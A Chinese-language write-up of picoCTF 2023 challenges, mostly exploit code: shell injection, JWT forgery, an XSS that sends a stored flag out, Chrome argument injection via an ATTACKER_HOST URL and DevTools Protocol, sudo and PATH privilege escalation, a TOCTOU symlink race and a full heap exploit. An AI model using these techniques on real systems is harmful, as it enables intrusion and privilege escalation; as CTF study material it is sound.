picoCTF 2023 WriteUps
今年 picoCTF 也是 solo 參與,只有前面第一兩天挑了些分數較高的題目來解解,後面就都沒碰了。
General Skills
Special
是一個 python 程式,它會對你的輸入做一些未知的處理之後送進 os.system
,不過因為沒 source code 就只能亂試而已。我的解法是輸入 a;`cat`
之後輸入 bash,之後 Ctrl-D
就拿到 shell 了。之所以能這樣做是因為題目都是用 ssh 連線的,所以有 tty 能讓我送 EOF。
我拿到 Flag 是 picoCTF{5p311ch3ck_15_7h3_w0r57_0c61d335}
,然後也順便把題目的 source code 抓了下來:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44#!/usr/bin/python3
import os
from spellchecker import SpellChecker
spell = SpellChecker()
while True:
cmd = input("Special$ ")
rval = 0
if cmd == 'exit':
break
elif 'sh' in cmd:
print('Why go back to an inferior shell?')
continue
elif cmd[0] == '/':
print('Absolutely not paths like that, please!')
continue
# Spellcheck
spellcheck_cmd = ''
for word in cmd.split():
fixed_word = spell.correction(word)
if fixed_word is None:
fixed_word = word
spellcheck_cmd += fixed_word + ' '
# Capitalize
fixed_cmd = list(spellcheck_cmd)
words = spellcheck_cmd.split()
first_word = words[0]
first_letter = first_word[0]
if ord(first_letter) >= 97 and ord(first_letter) <= 122:
fixed_cmd[0] = chr(ord(spellcheck_cmd[0]) - 0x20)
fixed_cmd = ''.join(fixed_cmd)
try:
print(fixed_cmd)
os.system(fixed_cmd)
except:
print("Bad command!")
Specialer
這題 ssh 上去後是個 bash shell,但是 ls
等等的指令都執行不了,可以猜測說大概是 binary 都被刪除了,只剩下 /bin/bash
而已。不過這個情況我很熟悉,因為它很類似我曾經出過的另一題 Free Shell,但是那題困難很多。
不過核心概念就是怎麼只用 bash builtin 的功能做 ls
和 cat
的工作而已。echo *
可以讓你列出當前目錄下的檔案,也能結合 glob 做很多不同的事。而這題檔案很多,不確定 flag 在哪,所以用個 loop 把所有 glob 能 match 的檔案都用 echo $(<$file)
看看有沒有 flag 就好了:1
for f in **/*; do echo $(<$f); done
Flag: picoCTF{y0u_d0n7_4ppr3c1473_wh47_w3r3_d01ng_h3r3_d5ef8b71}
Web Exploitation
Java Code Analysis!?!
這題是個從這個改來的 spring boot 網頁,讀一下 source code 可以在 SecretGenerator
看到:1
2
3
4private String generateRandomString(int len) {
// not so random
return "1234";
}
所以 jwt secret key 固定是 1234
,那麼 sign 個 admin jwt 就能拿到 flag 了:1
2
3
4
5
6
7
8{
"role": "Admin",
"iss": "bookshelf",
"exp": 1679561205,
"iat": 1678956405,
"userId": 2,
"email": "admin"
}
msfroggenerator2
這題架構是有個 openresty (nginx) server 在最外層,然後中間經過 traefik 之後後面有 api 和 bot 兩個 backend。
nginx config:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17server {
listen 8080;
resolver local=on;
location / {
add_header Content-Security-Policy "default-src 'none'; script-src 'self'; style-src 'self'; img-src https://cdn.jsdelivr.net/gh/Crusaders-of-Rust/corCTF-2022-public-challenge-archive@master/web/msfroggenerator/task/img/; connect-src 'self'" always;
root /var/www;
}
location /api/ {
proxy_set_header Host api;
proxy_pass "http://traefik:8080";
}
location = /report {
proxy_set_header Host bot;
set_by_lua $url 'return "http://openresty:8080/?id=" .. ngx.var.arg_id';
proxy_pass "http://traefik:8080/?url=$url";
}
}
traefik:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17http:
routers:
api:
service: api
rule: "Host(`api`)"
bot:
service: bot
rule: "Host(`bot`)"
services:
api:
loadBalancer:
servers:
- url: "http://api:8080"
bot:
loadBalancer:
servers:
- url: "http://bot:8080"
而 /var/www
那下面有個靜態網站,上面會 call 一些 /api/
的 api,不過簡單讀過之後會發現似乎根本沒辦法 XSS。不過這題另一個特別可疑的地方就是為什麼要用兩個 reverse proxy,這部分其實和 bot 有關:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48import puppeteer from 'puppeteer';
import { readFile } from 'fs/promises'
const sleep = time => new Promise(resolve => setTimeout(resolve, time));
const flag = await readFile('/flag.txt', 'utf-8');
const browser = await puppeteer.launch({
headless: false,
pipe: true,
dumpio: true,
args: [
'--incognito',
'--js-flags=--jitless',
'--no-sandbox'
],
defaultViewport: {
width: 1280,
height: 720
}
});
const visit = async () => {
const page = await browser.newPage();
const [url] = process.argv.slice(2);
await page.goto('http://openresty:8080/');
await page.evaluate(flag => {
localStorage.setItem('flag', flag);
}, flag);
await page.goto(url);
await sleep(5000);
const screenshot = await page.screenshot({
type: 'png',
encoding: 'base64'
});
await page.evaluate(async screenshot => {
await fetch('/api/reports/add', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': `Bearer ${localStorage.getItem('flag')}`
},
body: JSON.stringify({ screenshot })
});
}, screenshot);
}
try { await Promise.race([ visit(), sleep(10000) ]); } catch(e) { console.log(e) };
await browser.close();
還有1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22import { createServer } from 'http';
import { spawn } from 'child_process';
let running = false;
createServer((req, res) => {
const { url } = Object.fromEntries(new URL(`http://${req.headers.host}${req.url}`).searchParams);
res.writeHead(200);
if (!url) return res.end('Invalid request');
if (running) return res.end('Already running!');
(async () => {
running = true;
console.log('Starting...');
const proc = spawn('node', ['bot.js', url], {
stdio: ['inherit', 'inherit', 'inherit']
});
await new Promise(resolve => proc.on('exit', resolve));
console.log('Exited');
running = false;
})();
res.end('Sent! ' + url);
}).listen(8080);
從 nginx 那邊我們知道 /report
會把我們傳入的 id
參數變成 url=http://openresty:8080/?id=$id
,所以 bot 收到的 url 一定是 http://openresty:8080/
的對吧? 然而 traefik 在判斷 query string separator 的時候還會考慮分號 ;
,而在 2.7.2
版本之後還會直接把 ;
normalize 成 &
。 (ref: traefik issue #9164, source)
所以只要讓 id
變成 ;id=another_url
,那麼根據 new URL
出現重複參數會取後者的性質,another_url
就會直接進入 page.goto(url)
,中途沒有經過任何的檢查,所以我們可以塞 javascript:...
達成 XSS。1
2
3
4base=http://saturn.picoctf.net:64716
curl -g $base'/report?id=;url=javascript:fetch("/api/reports/add",{method:"POST",headers:{"Content-Type":"application/json","Authorization":`Bearer\u0020${localStorage.flag}`},body:JSON.stringify({url:localStorage.flag})})' -v
sleep 5
curl $base'/api/reports/get' | jq .[].url
不過後來和作者聊過之後發現前半正確,但 javascript:
不是 intended XD,正確解法是利用 chrome 強制下載的功能(這也是 bot 非 headless 的原因)可以讓檔案出現在 /root/Downloads/xxx.html
,然後覆蓋 fetch
後就能攔截到 flag 了。
作者原本預期 CSP 會擋住 javascript:
的,但 chrome 似乎會允許 page.goto
(等價於 user 自己在網址列輸入) 通過的樣子,不管 CSP。
cancri-sp
這題看起來就像是 browser pwn,因為題目給了一個 patch 過的 chromium 還有一些 mojo 方面的 C++ code,但我用 unintended 解了 XDDD。
它執行 bot 的 shell script 長這樣:1
2
3
4
5
6
7
8
9
10
11
12
13set -eux
SCRIPT_DIR=$(dirname -- "$0")
sleep 3 | exec $SCRIPT_DIR/src/out/Final/chrome \
--enable-blink-features=MojoJS \
--headless \
--disable-gpu \
--remote-debugging-pipe \
--user-data-dir=/does-not-exist \
--disable-dev-shm-usage \
--no-sandbox \
$1 3<&0 4>/dev/null
而 server 是直接把你給的 url 原封不動的當 argv 傳入:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35var express = require('express');
var { spawnSync } = require('child_process');
var app = express();
const PORT = process.env.PORT || 1337;
let pwning = false;
app.get("/bot", async (req, res) => {
const url = req.query.target;
if (typeof url != "string" || !url.startsWith("http://")) {
return res.end("bad");
}
if (pwning) {
return res.end("come back later");
}
pwning = true;
console.log("pwning ", url);
const output = spawnSync(__dirname + "/../run.sh", [url], {
env: {},
timeout: 3 * 1000,
cwd: "/"
});
pwning = false;
res.end("done");
});
app.use(express.static(__dirname + "/public"));
app.listen(PORT, '0.0.0.0', () => {
console.log("listening ", PORT)
});
不過有寫過 shell script 的人應該都知道把 variable 包在引號裡是非常重要的一件式,不然 shell 會自動對空白分割當多個 argv 傳入,細節請參見 Security implications of forgetting to quote a variable in bash/POSIX shells。
所以我們這邊只要讓 url
有空白就能對 chrome
做 argument injection,而查一下可以知道有很多 --no-sandbox
--disable-gpu-sandbox
--gpu-launcher
--renderer-cmd-prefix
等等的參數可以拿 RCE,但我這邊只能讓它執行 binary 而已,沒辦法控到參數。
不過我這邊就換了個做法,用了 --disable-web-security --remote-debugging-port=9222 --remote-allow-origins=* --headless=new
讓我能直接打 Chrome DevTools Protocol 去讀目錄並和讀 flag。 (--headless=new
好像是因為有遇到一些行為不同的問題才加的)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36<script>
// location='/bot?target='+encodeURIComponent('http://ATTACKER_HOST/ --disable-web-security --remote-debugging-port=9222 --remote-allow-origins=* --headless=new')
function log(...args) {
console.log(...args)
navigator.sendBeacon('/log:' + String(args[0]), JSON.stringify(args, null, 2))
}
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms))
const path = '/challenge/flag-53035d3cba0664dfac37ff64b6e0f86e'
;(async () => {
const res = await fetch('http://localhost:9222/json/new?file://' + path, { method: 'PUT' }).then(r => r.json())
log('new', res)
const ws = new WebSocket(res.webSocketDebuggerUrl)
ws.onerror = e => {
log('wserr', e)
}
ws.onmessage = e => {
log('wsmsg', e.data)
}
ws.onopen = async () => {
log('wsopen')
await sleep(500)
ws.send(
JSON.stringify({
id: 1,
method: 'Runtime.evaluate',
params: {
expression: `document.body.innerHTML`
}
})
)
}
})().catch(err => {
log('err', err.message, err.stack)
})
</script>
picoCTF{eac36dc6}
附註: 其實只用 Chrome DevTools Protocol 也是有機會拿 RCE 的,參考 ASIS CTF 2022 - xtr
Cryptography
SRA
1 | from Crypto.Util.number import getPrime, inverse, bytes_to_long |
這題的 RSA 給你了
我的做法是 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32from pwn import process, remote
from sage.all import divisors, is_pseudoprime
from Crypto.Util.number import long_to_bytes
# io = process(["python", "chal.py"])
io = remote("saturn.picoctf.net", 61223)
io.recvuntil(b"anger = ")
c = int(io.recvline().strip())
io.recvuntil(b"envy = ")
d = int(io.recvline().strip())
e = 65537
kphi = e * d - 1
for pm1 in divisors(kphi):
p = pm1 + 1
if is_pseudoprime(p) and p.bit_length() == 128:
for k in range(1, e):
if kphi % k != 0:
continue
q = (kphi // k // pm1) + 1
if is_pseudoprime(q) and q.bit_length() == 128:
print(p)
print(q)
n = p * q
m = pow(c, d, n)
msg = long_to_bytes(m)
print(msg)
if msg.isalnum():
io.sendline(msg)
print(io.recvall())
exit()
# picoCTF{7h053_51n5_4r3_n0_m0r3_3ed2713f}
PowerAnalysis: Warmup
1 | #!/usr/bin/env python3 |
這題會把你輸入的 message
因為這邊其實各個 byte 是可以分開討論的,所以這邊我們先假定要找的只是 key 的第一個 byte 而已。我的作法是先隨機送一些 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65from pwn import context, process, remote
import numpy as np
from tqdm import tqdm
context.log_level = "error"
# fmt: off
Sbox = (
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)
# fmt: on
def oracle(pt):
# io = process(["python", "encrypt.py"])
io = remote("saturn.picoctf.net", 54334)
io.sendline(pt.hex().encode())
io.recvuntil(b"result: ")
r = int(io.recvlineS().strip())
io.close()
return r
def corr(xs, ys):
# a simple correlation function
dx = [a - b for a, b in zip(xs, xs[1:])]
dy = [a - b for a, b in zip(ys, ys[1:])]
return len([1 for a, b in zip(dx, dy) if a == b])
def recover_key_byte(idx):
pt = bytearray([0] * 16)
res = []
pt_samples = range(0, 256, 8) # to reduce the number of requests
for i in tqdm(pt_samples):
pt[idx] = i
res.append(oracle(pt))
out = [[Sbox[i ^ kb] & 1 for i in pt_samples] for kb in range(256)]
cor = [corr(res, o) for o in out]
mx = np.argmax(cor)
print(mx)
print(np.sort(cor)[-10:])
return mx
key = bytes([recover_key_byte(i) for i in range(16)])
print(key.hex())
flag = f"picoCTF{{{key.hex()}}}"
print(flag)
# picoCTF{18427c31163ec78ed7ec67cd27f58d47}
PowerAnalysis: Part 1 / Part 2
這兩題其實很類似,不過第一題是允許你選擇 AES plaintext 然後得到目標的 power traces,而第二題只給你這種格式的 txt 而已:1
2Plaintext: 78695fc56ec9de44bf6dabdc6e264760
Power trace: [79, 94, 103, 134, 119, 121, 64, 101, 63, 80, 75, ...]
因為我這題其實是先解第二題的,所以就寫個腳本隨機生成一些 plaintext 然後得到指定的 power traces,然後弄成格式一樣的 txt 就能一次解兩個了:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20from pwn import remote
from pathlib import Path
import os, ast
traces = Path("traces")
traces.mkdir(exist_ok=True)
for i in range(100):
io = remote("saturn.picoctf.net", 55421)
pt = os.urandom(16)
io.sendline(pt.hex().encode())
io.recvuntil(b"result: ")
trace = ast.literal_eval(io.recvlineS().strip())
f = traces / f"trace{i:02d}.txt"
f.write_text(
f"""Plaintext: {pt.hex()}
Power trace: {trace}
"""
)
io.close()
總之這題沒有 source code,不過 hint 有說 The power consumption is correlated with the Hamming weight of the bits being processed
,所以明顯是 Simple Power Analysis。
這邊的概念其實和 wramup 很類似,不過這邊是使用 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69from pathlib import Path
import ast
import numpy as np
from scipy.stats import pearsonr
from tqdm import tqdm
pts = []
traces = []
for f in Path("traces").iterdir():
l = f.read_text().splitlines()
pt = bytes.fromhex(l[0].split(": ")[1])
trace = ast.literal_eval(l[1].split(": ")[1])
pts.append(pt)
traces.append(trace)
# fmt: off
sbox = [
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
]
# fmt: on
def power_model(x):
return x.bit_count()
key = []
for target_idx in range(16):
M = np.array(
[[sbox[pt[target_idx] ^ k] for k in range(256)] for pt in pts]
) # guess all key bytes
MP = np.vectorize(power_model)(M)
TR = np.array(traces)[:, 300:400] # by guessing where the first sbox happens
def get_max_corr(l):
# compute the max correlation between guessed power consumption and power traces over a range of time
mx = 0
for r in TR.T: # power traces at a time over all samples
mx = max(mx, pearsonr(l, r)[0])
return mx
res = np.array([get_max_corr(x) for x in tqdm(MP.T)])
mx = np.argmax(res)
print(mx)
print(res[mx])
print(
np.sort(res)[-10:]
) # should have a value that is significantly higher than the rest
key.append(mx)
key = bytes(key)
print(key)
print(f"picoCTF{{{key.hex()}}}")
# Part 1: picoCTF{ce920ac29f329f624d373ccd26bc3d83}
# Part 2: picoCTF{ce920ac29f329f624d373ccd26bc3d83}
後來我才知道其實還有個 scared 的 library 可以幫你自動做這類的 side channel analysis,詳情可參考這篇 writeup。
Binary Exploitation
hijacking
ssh 上去 sudo -l
看到:1
2
3User picoctf may run the following commands on challenge:
(ALL) /usr/bin/vi
(root) NOPASSWD: /usr/bin/python3 /home/picoctf/.server.py
所以 sudo vi
之後 ESC
再 :!/bin/sh
就可以拿到 root shell 了,而 flag 在 /root/.flag.txt
之中: picoCTF{pYth0nn_libraryH!j@CK!n9_f56dbed6}
不過從 flag 可知它顯然不是 intended,正確做法是利用那個 .server.py
:1
2
3
4
5
6
7
8
9
10
11import base64
import os
import socket
ip = 'picoctf.org'
response = os.system("ping -c 1 " + ip)
#saving ping details to a variable
host_info = socket.gethostbyaddr(ip)
#getting IP from a domaine
host_info_to_str = str(host_info[2])
host_info = base64.b64encode(host_info_to_str.encode('ascii'))
print("Hello, this is a part of information gathering",'Host: ', host_info)
python 預設會從 cwd 找 module,所以我們可以在 cwd 放一個 base64.py
裡面跑 shell 就能拿到 root 了。
tic-tac
ssh 上去可看到有個 suid binary,source code:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int main(int argc, char *argv[]) {
if (argc != 2) {
std::cerr << "Usage: " << argv[0] << " <filename>" << std::endl;
return 1;
}
std::string filename = argv[1];
std::ifstream file(filename);
struct stat statbuf;
// Check the file's status information.
if (stat(filename.c_str(), &statbuf) == -1) {
std::cerr << "Error: Could not retrieve file information" << std::endl;
return 1;
}
// Check the file's owner.
if (statbuf.st_uid != getuid()) {
std::cerr << "Error: you don't own this file" << std::endl;
return 1;
}
// Read the contents of the file.
if (file.is_open()) {
std::string line;
while (getline(file, line)) {
std::cout << line << std::endl;
}
} else {
std::cerr << "Error: Could not open file" << std::endl;
return 1;
}
return 0;
}
可以知道它在檢查 owner 和實際上讀取的時候有時差,所以可以利用 toctou 去讀取只有 root 才能碰的 flag。1
2
3{ while true; do ln -sf flag.txt lnk; ln -sf hello.txt lnk; done } &
while true; do ./txtreader lnk; done
# picoCTF{ToctoU_!s_3a5y_2075872e}
VNE
這題有個 binary,scp 下來反編譯可以看到這段 code:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29v14 = getenv("SECRET_DIR");
if ( v14 )
{
v5 = std::operator<<<std::char_traits<char>>(&std::cout, "Listing the content of ");
v6 = std::operator<<<std::char_traits<char>>(v5, v14);
v7 = std::operator<<<std::char_traits<char>>(v6, " as root: ");
std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
std::allocator<char>::allocator(&v12);
std::string::basic_string(v16, v14, &v12);
std::operator+<char>(v15, "ls ", v16);
std::string::~string(v16);
std::allocator<char>::~allocator(&v12);
setgid(0);
setuid(0);
v8 = (const char *)std::string::c_str(v15);
v13 = system(v8);
if ( v13 )
{
v9 = std::operator<<<std::char_traits<char>>(&std::cerr, "Error: system() call returned non-zero value: ");
v10 = std::ostream::operator<<(v9, v13);
std::ostream::operator<<(v10, &std::endl<char,std::char_traits<char>>);
v4 = 1;
}
else
{
v4 = 0;
}
std::string::~string(v15);
}
所以它會執行 system("ls" + SECRET_DIR)
,所以可以 command injection 拿 root shell: SECRET_DIR='/challenge;sh' ./bin
另一個方法是利用 ls
是用 relative path 呼叫的特性,而 suid binary 又不像 sudo 會幫你把一些危險的環境變數如 PATH
清掉,所以可以 PATH=/tmp
然後裡面放個 ls
的 script 也能拿 root shell。
Horsetrack
1 | [*] '/home/maple3142/workspace/pico2023/horsetrack/vuln' |
這題是很標準的 heap pwn,主要的洞在於有 UAF,然後它自訂的讀字串函數在遇到 \xff
時就會 return,所以讓它不會覆蓋掉 heap pointer 就能拿到 heap leak。
打法其實就很標準的 tcache poisoning,不過因為這題因為 glibc 版本是 2.33,所以還要繞過 safe linking。拿到 heap leak 和任意寫之後結合 No PIE 和 Partial RELRO 可知能寫掉 GOT,而對應了 binary 的一些操作我決定先寫 sh
到 bss 的某處,然後讓 stderr="sh"
並複寫 setbuf@GOT
到 resolve system 的地方,然後同時把 printf
覆蓋成呼叫 setbuf(stderr, ...)
的地方,這樣就有 shell 了。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"
context.log_level = "debug"
def cheat(idx: int, name: bytes, new_pos: int):
io.sendlineafter(b"Choice: ", b"0")
io.sendlineafter(b"? ", str(idx).encode())
io.sendlineafter(b": ", name)
io.sendlineafter(b"? ", str(new_pos).encode())
def add_horse(idx: int, name: bytes, namelen: int = None):
if namelen is None:
namelen = len(name)
io.sendlineafter(b"Choice: ", b"1")
io.sendlineafter(b"? ", str(idx).encode())
io.sendlineafter(b"? ", str(namelen).encode())
io.sendlineafter(b": ", name)
def remove_horse(idx: int):
io.sendlineafter(b"Choice: ", b"2")
io.sendlineafter(b"? ", str(idx).encode())
def race():
io.sendlineafter(b"Choice: ", b"3")
def demangle(obfus_ptr):
o2 = (obfus_ptr >> 12) ^ obfus_ptr
return (o2 >> 24) ^ o2
elf = ELF("./vuln")
if args.REMOTE:
io = remote("saturn.picoctf.net", 58286)
else:
io = process("./vuln")
# io = gdb.debug(
# "./vuln",
# "\n".join(
# [
# "b sleep",
# "commands",
# "return",
# "c",
# "end",
# "gef config context.enable false",
# "c",
# ]
# ),
# )
# need to have at least 5 horses to race
add_horse(15, b"X" * 0x18)
add_horse(16, b"Y" * 0x18)
add_horse(17, b"Z" * 0x18)
add_horse(0, b"A" * 0x10)
add_horse(1, b"B" * 0x10)
remove_horse(0)
remove_horse(1)
# [1] -> [0]
add_horse(1, b"\xff", 16)
add_horse(0, b"A" * 0x10)
race()
if args.REMOTE:
# hack
# when we send `3\n` to remote, remote will respond with `3\r\n`...
assert io.recvline() == b"3\r\n"
io.recvline() # name for 0
leak = io.recvline().strip(b" |\r\n") # name for 1
print("LEAK", leak)
io.recvuntil(b"WINNER: ")
print("win", io.recvline())
print(leak)
ptr = demangle(int.from_bytes(leak, "little"))
print(f"{ptr = :#x}") # points to name for 0
remove_horse(0)
remove_horse(1)
target = 0x4040E0 # cheated
print(f"{target = :#x}")
cheat(1, p64(target ^ (ptr >> 12)).ljust(16, b"\x00"), 0)
add_horse(1, b"A" * 0x10)
add_horse(0, p64(target + 8) + b"sh".ljust(8, b"\x00")) # write
# now stderr = "sh"
remove_horse(15)
remove_horse(16)
# [16] -> [15]
target = elf.got["setbuf"] # 0x404040
print(f"{target = :#x}")
cheat(16, p64(target ^ (ptr >> 12)).ljust(16, b"\x00"), 0)
add_horse(16, b"A" * 0x18)
# got table layout: setbuf, system, printf
resolve_system = 0x401096
add_horse(15, p64(resolve_system) * 2 + p64(0x401B90))
io.interactive()
# picoCTF{t_cache_4ll_th3_w4y_2_th4_b4nk_f9c8bf9d}
這題其實有個比較坑的地方是 remote 會把你輸入的東西 echo 回來,並且用 \r\n
而非 \n
...。就其他人所說這是因為 remote 用 socat 的 pty mode 導致的結果...。